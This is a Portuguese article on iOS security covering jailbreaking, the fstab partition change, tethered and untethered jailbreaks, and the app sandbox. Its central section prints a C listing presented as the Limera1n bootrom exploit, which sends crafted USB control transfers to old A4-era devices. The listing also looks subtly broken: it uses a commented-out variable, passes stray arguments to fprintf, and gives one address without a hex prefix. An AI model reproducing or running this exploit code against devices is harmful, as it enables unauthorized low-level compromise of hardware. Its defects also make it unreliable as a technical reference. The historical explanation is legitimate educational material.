Então o iOS é ou não é seguro?

Hoje em dia vemos muitas pessoas com smartphones, seja Android, Windows Phone ou, o mais desejado por muitos, iPhone.

O que a grande maioria não sabe é que sistemas operacionais de celulares, hoje, são tão complexos quanto os nossos computadores que usam Windows, Mac OS, Linux ou derivados.

Essa complexidade somada com o gostinho de saber que você conseguiu burlar um sistema que, teoricamente, é seguro, fez com que surgisse muitos exploits, tanto privados quanto públicos.

Nesse artigo iremos abordar sobre segurança e falhas em dispositivos da Apple.

Jailbreak

Antes de fazer qualquer coisa em seu iDevice, você deve entender um pouco sobre a história do Jailbreak.

Jailbreak é o nome dado para quando você consegue ter acesso root (maior nível de acesso em sistemas Linux) em seu dispositivo Apple.

O Jailbreak tem sido feito desde os primórdios do iOS, desde a versão 1.0.x (onde “x” é uma variável e não que existia uma versão do iOS com “x” no final) até a mais recente.

“Então quer dizer que o iOS não é seguro?”. Sim e não.

Assim como todos os dispositivos atuais tem alguma falha, o iOS também deixa a desejar. O sistema da Apple é considerado, por algumas pessoas, como um dos sistemas mais seguros que existe no mundo dos smartphones, e a Apple dá muitos motivos para isso. Até o iOS 9.x.x, a Applecriptografava boa parte de seu sistema. Para tudo se tinha uma chave para o acesso root dos arquivos do sistema.

“Então ele é seguro, oras…”

Infelizmente não é bem assim. Mesmo com essa proteção, Hackers, hoje muito famosos no mundo Jailbreak, conseguiram de alguma forma montar a partição do sistema (que é diferente da ‘userland‘ – espaço com arquivos para acesso do usuário) como ‘leitura-escrita’, e é isso que define o Jailbreak.

Através de exploits zero-day, bugs ou de CVEs era possível conseguir tal façanha. Abaixo temos um exemplo do arquivo ‘fstab‘ modificado antes e depois do Jailbreak:

Antes:

/dev/disk0s1s1 / hfs ro 0 1
/dev/disk0s1s2 /private/var hfs,nosuid,nodev rw 0 2

Depois:

/dev/disk0s1s1 / hfs rw 0 1
/dev/disk0s1s2 /private/var hfs,nosuid,nodev rw 0 2

Este arquivo diz para o sistema montar tais partições.

Exploits e tools

Após vários anos corrigindo e surgindo novas falhas, é comum que alguns exploits acabem vindo a público por não terem mais utilidade nas versões posteriores do iOS para qual foram originalmente criadas. Um exemplo disso é um dos exploits mais famosos: o Limera1n, desenvolvido pelo Hacker geohot (George Hotz). Este exploit consiste em explorar uma falha nos processadores de chip A4 (que é responsável pelas aplicações e interações com o usuário) e iPhone’s 3GS e 3G. Então qualquer dispositivo que usasse chips A4 poderia ter o Jailbreak de forma “amarrada” (explicação abaixo), pois só com esse exploit não era possível se ter acesso aos arquivos do sistema.

Obs: O iPhone 3GS e 3G usavam chips diferentes do A4, porém possuíam o mesmo código no bootroom e iBoot.

Com esse exploit vindo a público, a Apple conseguiu corrigir a falha nos lançamentos posteriores de seus iDevices. Como ele já tinha sido “queimado” (chamamos assim pois ele perde a utilidade quando é corrigido), disponibilizaram, um tempo depois, o seu código fonte na internet para que quem quisesse desenvolver sua própria ferramenta.

Abaixo o código fonte do Limera1n:

signed int __cdecl upload_exploit() {
    int device_type;
    signed int payload_address;
    int free_address;
    int deviceerror;
    char *chunk_headers_ptr;
    unsigned int sent_counter;
    //int v6;
    signed int result; 
    //signed int v8;
    int recv_error_code;
    signed int payload_address2;
    signed int padding_size;
    char payload;
    char chunk_headers;
    //int v14;
    //v14 = *MK_FP(__GS__, 20);
    device_type = *(_DWORD *)(device + 16);

    if ( device_type == 8930 ) {
        padding_size = 0x2A800;
        payload_address = 0x8402B001;
        free_address = 0x8403BF9C;
    } else {
        payload_address = 0x84023001;
        padding_size = 0x22800;
        // free_address = (((device_type == 8920) – 1) & 0xFFFFFFF4) – 0x7BFCC05C;
        if(device_type == 8920) free_address = 0x84033FA4;
           else free_address = 84033F98;
    }

    memset(&payload, 0, 0x800);
    memcpy(&payload, exploit, 0x230);

    if (libpois0n_debug) {
        //v8 = payload_address;
        fprintf(stderr, 1, "Resetting device counters\n");
        //payload_address = v8;
    }

    payload_address2 = payload_address;
    deviceerror = irecv_reset_counters(client);

    if ( deviceerror ) {
        irecv_strerror(deviceerror);
        fprintf(stderr, 1, &aCannotFindS[12]);
        result = -1;
    } else {
        memset(&chunk_headers, 0xCC, 0x800);
        chunk_headers_ptr = &chunk_headers;

        do {
            *(_DWORD *)chunk_headers_ptr = 1029;       
            *((_DWORD *)chunk_headers_ptr + 1) = 257;
            *((_DWORD *)chunk_headers_ptr + 2) = payload_address2;  
            *((_DWORD *)chunk_headers_ptr + 3) = free_address;
            chunk_headers_ptr += 64;
        } while ((int *)chunk_headers_ptr != &v14);

        if (libpois0n_debug)
            fprintf(stderr, 1, "Sending chunk headers\n");

        sent_counter = 0;
        irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
        memset(&chunk_headers, 0xCC, 0x800);

        do {
            sent_counter += 0x800;
            irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
        } while (sent_counter < padding_size);

        if (libpois0n_debug)
            fprintf(stderr, 1, "Sending exploit payload\n");

        irecv_control_transfer(client, 0x21, 1, 0, 0, &payload, 0x800);

        if (libpois0n_debug)
            fprintf(stderr, 1, "Sending fake data\n");

        memset(&chunk_headers, 0xBB, 0x800);
        irecv_control_transfer(client, 0xA1, 1, 0, 0, &chunk_headers, 0x800);
        irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);

        if (libpois0n_debug)
        fprintf(stderr, 1, "Executing exploit\n");

        irecv_control_transfer(client, 0x21, 2, 0, 0, &chunk_headers, 0);
        irecv_reset(client);
        irecv_finish_transfer(client);

        if (libpois0n_debug) {
            fprintf(stderr, 1, "Exploit sent\n");
            if (libpois0n_debug)
                fprintf(stderr, 1, "Reconnecting to device\n");
        }

        client = (void *)irecv_reconnect(client, 2);

        if (client) {
            result = 0;
        } else {
            if (libpois0n_debug) {
                recv_error_code = irecv_strerror(0);
                fprintf(stderr, 1, &aCannotFindS[12], recv_error_code);
            }
            fprintf(stderr, 1, "Unable to reconnect\n");
            result = -1;
        }
    }

    // compiler stack check
    //if (*MK_FP(__GS__, 20) != v14)
    //    __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);

    return result;
}

O Limera1n foi implementado, na época, em um famoso programa chamado GreenPois0n. Este programa tinham dois exploits, onde um deles, era, obviamente, o Limera1n, que permitia fazer o Jailbreak de forma “desamarrada” em conjunto com o outro exploit.

Jailbreak tethered, semi-tethered e jailbreak untethered

Jailbreak amarrado, semi amarrado ou desamarrado (tethered, semi-tethered e untethered, respectivamente) são os tipos possíveis de Jailbreaks.

O Jailbreak tethered é uma das piores formas de Jailbreak. Ele lhe dá a possibilidade de usar seu iDevice como root, mas caso você reinicie ou desligue seu aparelho, só poderá iniciar ele novamente caso use a ferramenta de Jailbreak para aplicar um patch (correção) no kernel do dispositivo. Por isso, esta forma de Jailbreak se chama tethered. Você fica “amarrado” ao seu computador para poder iniciar sempre que quiser usar seu dispositivo depois de ele ter descarregado ou desligado por algum motivo.

Outra forma é o Jailbreak semi tethered. É uma das formas em que você pode reiniciar ou desligar seu iDevice e continuar utilizando-o normalmente, mas sem acesso root e as modificações do sistema. E caso queira ter os privilégios de volta, você pode plugar seu dispositivo no PC e usar a ferramenta de Jailbreak novamente sem nenhum problema.

Por fim, temos o Jailbreak untethered, onde você pode desligar ou reiniciar seu iDevice sem nenhum problema, pois sempre terá acesso root. Hoje em dia a maioria dos Hackers que desenvolvem essas ferramentas as fazem com o Jailbreak de forma desamarrada usando diversos exploits privados.

Então, todo Jailbreak feito de forma desamarrada já incluí em seus códigos uma forma de aplicar o patch do kernel para que você possa iniciar seu iDevice, e roda alguns comandos que muda os arquivos do sistema, permitindo a montagem da partição do sistema. E, com acesso root, você pode fazer qualquer modificação no dispositivo mesmo se, por qualquer motivo, reiniciá-lo ou desligá-lo.

“Caixa de areia” e seu funcionamento

A Apple fez muito mais pela segurança do que apenas encriptar suas imagens do sistema para prevenir alterações e leitura. Ela também teve a brilhante ideia de criar a “Caixa de areia”, ou melhor dizendo Sandbox, para os aplicativos instalados como usuário.

Essa Sandbox se baseia em uma caixa de areia de verdade. Onde crianças brincam e fazem o que bem entendem. O mesmo acontece para os aplicativos criados para iPhone. Todo app tem sua caixa de areia onde, dentro dela, pode se criar arquivos, modificar arquivos, guardar dados e o que mais você desejar fazer na programação do aplicativo SEM fazer contato direto com o sistema. Os apps dentro da sua caixa de areia não tem acesso aos arquivos do sistema, e não podem fazer modificações no sistema, sendo assim, uma forma de proteger alguns de seus dados.

A imagem a seguir ilustra muito bem como é o funcionamento da Sandbox implementada pela Apple:

Como mostrado na imagem, aplicativos instalados podem criar dados para o usuário, recursos para o sistema e fazer mais o que o SDK (Source Development Kit ou Kit Fonte de Desenvolvimento) permitir.